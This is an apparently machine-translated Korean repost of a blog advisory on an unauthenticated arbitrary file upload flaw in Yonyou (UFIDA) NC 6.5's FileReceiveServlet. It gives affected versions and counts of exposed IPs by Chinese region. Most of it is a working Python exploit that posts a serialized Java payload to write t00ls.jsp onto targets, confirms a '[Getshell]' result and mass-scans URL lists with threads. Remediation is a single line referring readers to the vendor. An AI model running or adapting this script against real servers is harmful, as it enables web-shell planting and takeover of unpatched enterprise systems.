UFIDA NC 임의 파일 업로드 취약점 재현

0x00 이벤트 설명

Yonyou NC는 대기업 및 중견 기업에서 널리 사용되는 엔터프라이즈 급 관리 소프트웨어입니다. 모델링, 개발, 상속, 운영 및 관리의 통합을 실현하는 IT 솔루션 정보 플랫폼입니다. Yonyou NC는 C / S 아키텍처로 JAVA 프로그래밍 언어를 사용하여 개발되었으며 클라이언트는 UClient를 직접 사용할 수 있으며 서버 인터페이스는 HTTP입니다.

Yonyou NC6.5의 특정 페이지에 임의 파일 업로드 취약점이 존재합니다. 취약점의 원인은 파일 업로드에 유형 제한이 없기 때문입니다. 인증되지 않은 공격자는 특수하게 조작 된 데이터 패킷을 대상 시스템에 전송하여이 취약점을 악용 할 수 있습니다.이 취약점을 성공적으로 악용 한 원격 공격자는 임의의 파일을 업로드하여 컴퓨터에서 명령을 실행할 수 있습니다. 타겟 시스템.

0x01 취약성 원칙

문서에 따르면 FileReceiveServlet에 해당하는 클래스는 com.yonyou.ante.servlet.FileReceiveServlet입니다.

jar 패키지가있는 디렉토리 : / yonyou \ home \ modules \ uapss \ lib.

68 줄의 코드가 File outFile = new File (path, fileName)을 통해 파일을 생성하므로 공격자는이를 통해 모든 파일을 업로드 할 수 있습니다.

0x02 영향을받는 버전

Yonyou NC 원격 코드 실행 취약점은 NC6.5 이후 버전에 영향을 미칩니다.

0x03 영향 범위

인터넷 측은 UFIDA NC의 IP를 사용합니다. 중국 본토는 총 9,174 개로 가장 많은 IP를 사용하고, 베이징은 총 1,239 개로 가장 많은 IP를 사용하고, 광동은 총 587 개로 2 위, 귀 저우는 총 575 개로 3 위입니다. , 상하이는 총 541 개로 4 위, 강소는 총 433 개로 5 위입니다.

0x04 취약성 확인 POC 스크립트

import requests
import threadpool
import urllib3
import sys
import argparse

urllib3.disable_warnings()
proxies = {'http': 'http://localhost:8080', 'https': 'http://localhost:8080'}
header = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
    "Content-Type": "application/x-www-form-urlencoded",
    "Referer": "https://google.com",
}

def multithreading(funcname, filename="url.txt", pools=5):
    works = []
    with open(filename, "r") as f:
        for i in f:
            func_params = [i.rstrip("\n")]
            works.append((func_params, None))
    pool = threadpool.ThreadPool(pools)
    reqs = threadpool.makeRequests(funcname, works)
    [pool.putRequest(req) for req in reqs]
    pool.wait()

def wirte_targets(vurl, filename):
    with open(filename, "a+") as f:
        f.write(vurl + "\n")
        return vurl
    
def exp(u):
    uploadHeader = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
        "Content-Type": "multipart/form-data;",
        "Referer": "https://google.com"
    }
    uploadData = "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x02\x74\x00\x09\x46\x49\x4c\x45\x5f\x4e\x41\x4d\x45\x74\x00\x09\x74\x30\x30\x6c\x73\x2e\x6a\x73\x70\x74\x00\x10\x54\x41\x52\x47\x45\x54\x5f\x46\x49\x4c\x45\x5f\x50\x41\x54\x48\x74\x00\x10\x2e\x2f\x77\x65\x62\x61\x70\x70\x73\x2f\x6e\x63\x5f\x77\x65\x62\x78"
    shellFlag="t0test0ls"
    uploadData+=shellFlag
    try:
        req1 = requests.post(u + "/servlet/FileReceiveServlet", headers=uploadHeader, verify=False, data=uploadData, timeout=25)
        if req1.status_code == 200 :
            req3=requests.get(u+"/t00ls.jsp",headers=header, verify=False, timeout=25)

            if  req3.text.index(shellFlag)>=0:
                printFlag = "[Getshell]" + u+"/t00ls.jsp"  + "\n"
                print (printFlag)
                wirte_targets(printFlag, "vuln.txt")
    except :
        pass
    #print(printFlag, end="")


if __name__ == "__main__":
    if (len(sys.argv)) < 2:
        print('useage : python' +str(sys.argv[0]) + ' -h')
    else:
        parser =argparse.ArgumentParser()
        parser.description ='YONYOU UC 6.5 FILE UPLOAD!'
        parser.add_argument('-u',help="url -> example [url]http://127.0.0.1[/url]",type=str,dest='check_url')
        parser.add_argument('-r',help="url list to file",type=str,dest='check_file')
        args =parser.parse_args()
        if args.check_url:
            exp(args.check_url)
        
        if(args.check_file):
            multithreading(exp, args.check_file, 8) 

0x05 수리 제안

패치 업데이트는 제조업체에 문의하십시오 : https://www.yonyou.com/

0x06 참조 링크

 

표시하십시오 : Adminxe의 블로그  »  UFIDA NC 임의 파일 업로드 취약점 재현

추천

출처blog.csdn.net/Adminxe/article/details/111177066